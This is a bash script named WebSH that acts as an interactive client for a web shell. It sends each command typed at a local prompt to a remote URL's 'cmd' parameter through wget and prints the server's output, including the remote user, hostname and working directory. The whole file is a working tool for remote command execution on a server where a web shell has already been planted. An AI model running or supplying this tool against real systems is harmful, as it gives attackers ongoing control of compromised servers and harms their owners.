#!/bin/bash -i

#
# WebSH - Version 0.1a
#
# Author: Brad Cable
# Email: brad@bcable.net
# License: Modified BSD
# License Details:
# http://bcable.net/license.php
#

url="$1"
[ "${url:0:7}" == "http://" ] && url="${url:7:${#url-7}}"

function remote_send ()
{
	thecmd="$@"
	thenewcmd="`echo ";$@;" | sed -r "s/[;&][ ]*exit[ ;&]/;/g"`"
	thenewcmd="`echo "$thenewcmd" | sed -r "s/^.(.*).$/\1/g"`"
	ret="`wget -q -O /dev/stdout "http://$url?cmd=export TERM=$TERM; $thecmd"`"
	if [ -z "$int" ]; then
		retc="`echo "$ret" | wc -l`"
		newpwd="`echo "$ret" | grep -n "" | grep "^$retc:" | sed "s/^$retc://g"`"
		[ ! -z "$newpwd" ] && thepwd="$newpwd"
		let retc-=1
		newret="`echo "$ret" | grep -m $retc ""`"
		echo "$ret" > /tmp/qwe
		ret="$newret"
	fi
	echo "$ret"
	[ "$thenewcmd" != "$thecmd" ] && exit
}

function remote_cmd()
{
	int="";
	remote_send "$@; echo; pwd";
}

function remote_intcmd()
{
	int=1;
	remote_send "$@";
}

thepwd="`remote_intcmd pwd`"
user="`remote_intcmd whoami`"
host="`remote_intcmd hostname`"

function display_prompt()
{
	prompt="\e[1;34m$user\e[1;0m@\e[1;34m$host\e[1;0m:\e[1;31m$thepwd\e[1;0m$ "
	echo -ne "$prompt"
}

echo
display_prompt
while read cmd
do
	remote_cmd $cmd
	display_prompt
done

exit 0
